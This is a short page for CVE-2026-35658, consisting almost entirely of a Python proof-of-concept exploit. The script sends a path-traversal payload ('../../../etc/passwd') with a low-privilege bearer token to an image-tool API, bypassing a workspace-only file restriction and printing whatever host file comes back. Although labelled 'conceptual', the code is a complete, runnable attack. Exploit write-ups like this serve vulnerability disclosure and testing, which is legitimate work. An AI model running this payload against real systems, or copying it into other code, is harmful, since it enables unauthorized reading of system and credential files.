CVE-2026-35658

import requests # Conceptual Proof of Concept for CVE-2026-35658 # Demonstrates bypassing tools.fs.workspaceOnly target_url = "http://vulnerable-host:port/api/image-tool" # Attacker needs a low-privilege session cookie or token headers = { "Authorization": "Bearer LOW_PRIVILEGE_TOKEN", "Content-Type": "application/json" } # Payload using path traversal to read files outside workspace # Attempting to read /etc/passwd from the host/container payload = { "file": "../../../etc/passwd", "action": "process" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request successful. Check response for file content.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

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